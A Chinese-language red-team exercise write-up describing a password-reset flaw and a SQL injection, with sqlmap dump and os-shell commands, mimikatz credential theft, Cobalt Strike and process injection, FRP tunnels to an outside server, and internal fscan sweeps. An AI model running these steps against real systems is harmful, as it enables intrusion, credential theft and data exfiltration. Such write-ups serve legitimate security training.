攻防演練下的實戰思路
0x01 邏輯漏洞
在資產收集時 fofa 是一個非常不錯的工具,比如針對哥譚市的攻防演練,在實在找不到其他資產的情況下,可以使用title="哥譚"搜索全部與哥譚市相關的網絡資產,導出后再篩選即可發現一些與目標相關聯的系統,通過以上方式成功找到如下登錄界面:

通過目錄掃描發現日志路徑為/logfile,檢查后發現用戶名phtyxx以及手機號。

在登錄界面中選擇忘記密碼,輸入日志中泄露的用戶名。

完成后輸入手機號,點擊發送驗證碼。

在 BurpSuite 的歷史記錄下發現響應包中存在驗證碼。

輸入驗證碼194694后輸入新密碼完成密碼修改,最終成功以管理員身份登錄系統。

0x02 SQL注入
數據庫權限
在 AWVS 掃描報告里發現目標網站存在注入,驗證漏洞成功。
http://x.x.x.x:8010/display.asp?vkind=1%27

使用 sqlmap 查詢全部數據庫,成功返回多個數據庫名。
sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --dbs

查看當前用戶為sa,即成功拿到數據庫中的 DBA 權限。
sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --current-user

使用--count參數可計算各個數據庫中存在多少條數據,可方便我們計算數據分數。
sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D pdata --count

使用--tables可獲取數據庫中的表名,同理使用--columns可獲取表中的列名。
sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D video --tables sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D video -T vadmin --columns

使用--dump參數查看表中的所有數據。
sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D pdata -T students --dump

在數據庫中可能會存在敏感的密碼、API信息,為了方便查看可將整個數據庫導出后再篩選。
服務器權限
如果想要通過 MSSQL 數據庫提權,最常見的方式就是開啟xp_cmdshell組件,而在 sqlmap 中使用--os-shell參數默認會利用該組件獲取服務器權限;假如想要執行數據庫命令,可使用--sql-shell參數。
sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --os-shell

成功拿到服務器系統權限,同時發現其IP地址為192.168.11.2。

利用 powershell 無文件落地上線CS。

查看目標是否存在域環境。
shell ipconfig /all

查看進程并嘗試注入到其他正常系統程序當中。
inject 4884 x64

執行 mimikatz 成功獲取明文密碼。
logonpasswords

建立代理隧道
上傳 FRP 客戶端程序以及配置文件,相關配置文件如下:
[common] server_addr = x.x.x.x server_port = 7000 [http_proxy] type = tcp remote_port = 6000 plugin = socks5
同時在公網服務器中上傳 FRP 服務端程序以及配置文件,相關配置文件如下:
[common] bind_addr = 0.0.0.0 bind_port = 7000
在公網服務器上啟動 FRP 服務端。
./frps -c frps.ini
在目標主機中啟動 FRP 客戶端進行連接。
shell frpc.exe -c frpc.ini
代理隧道建立成功。

內網掃描滲透
上傳 FSCAN 針對所有私有網段進行漏洞掃描。
shell fscan64.exe -h 10.0.0.0/8 -o 10_result.txt shell fscan64.exe -h 192.168.0.0/16 -o 192_result.txt shell fscan64.exe -h 172.16.0.0/12 -o 172_result.txt


配置 socks 代理后使用超級弱口令掃描工具掃描內網中存在的弱口令。

最后根據掃描結果驗證內網中存在的漏洞,提交報告拿分完事。
0x03 總結
總體來說以上兩個案例還是采用的常規思路,其中第一個案例中出現的邏輯漏洞為驗證碼缺陷,配合敏感信息泄露可達到修改用戶密碼的效果;第二個案例則是利用SQL注入提權獲取服務器權限,建立代理后可進入內網刷分。幸運的是在攻擊過程中并沒遇到防護設備或防守人員的攔截,整個流程相對來說還算比較簡單、流暢。只有實踐才是檢驗真理的唯一標準,攻防演練就是一個非常不錯的平臺,歡迎各位大佬交流相關的心得體會。